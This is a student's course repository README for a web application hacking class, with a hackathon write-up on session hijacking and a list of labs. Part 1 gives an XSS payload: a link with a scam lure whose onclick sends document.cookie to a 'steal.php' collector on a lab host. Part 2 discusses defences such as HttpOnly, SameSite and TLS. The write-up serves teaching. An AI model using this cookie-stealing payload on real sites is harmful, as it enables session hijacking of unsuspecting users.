Public Respository for Web Application Programming and Hacking course -
Dr. Phu Phung

WAPH-Web Application Programming and Hacking

Instructor: Dr. Phu Phung

Student

Name: Nick Fishman

Email: fishmane@mail.uc.edu

Short-bio: Nick Fishman is an electrical engineering student with a specific interest in hardware and circuits.

Hackathon 3

Part 1

Command: `<a href="#" onclick="fetch('http://10.0.2.15:8080/steal.php?cookie='+document.cookie); return false;">Free $1000 from the US government! Click`

NOTE I had to disable Google Chrome's CORS Policies to make fetch() work. I wanted to have a different style than the others in my group, and most people vulnerable to being hacked in this manner use stuff like internet explorer anyways (which this may work on).

Video <https://youtu.be/cw5OG1o3QcQ>

Part 2

The fact that this hack worked with code this simple indicates several urgent vulnerabilities. The first is a lack of input sanitization, the second is that the infrastructure of the website lacks any sort of cookie security such as `HttpOnly` (which prevents scripts such as JavaScript from accessing cookies) or `SameSite = Strict` (which controls if cookies are sent between sites). Lastly, this website is unencrypted and should be encrypted with TLS.

Repository Information

Repository's URL: <https://github.com/NickFishman04/waph.git>

This is a private repository for Nick Fishman to store all code from the course. The organization of this repository is as follows.

Labs

Hands-on exercises in lectures

- Lab 0: Development Environment Setup
- Lab 1: Foundations of the Web
- Lab 2: Front-end Web Development
- Lab 3: Secure Web Application Development in PHP/MySQL

Hackathons

- Hackathon 1: Cross-site Scripting Attacks and Defenses
- Hackathon 2: SQL Injection Attacks
- Hackathon 3: Session Hijacking Attacks and Defenses

Individual Projects

- Individual Project 1: Professional Profile Website and API Integration

Team Project
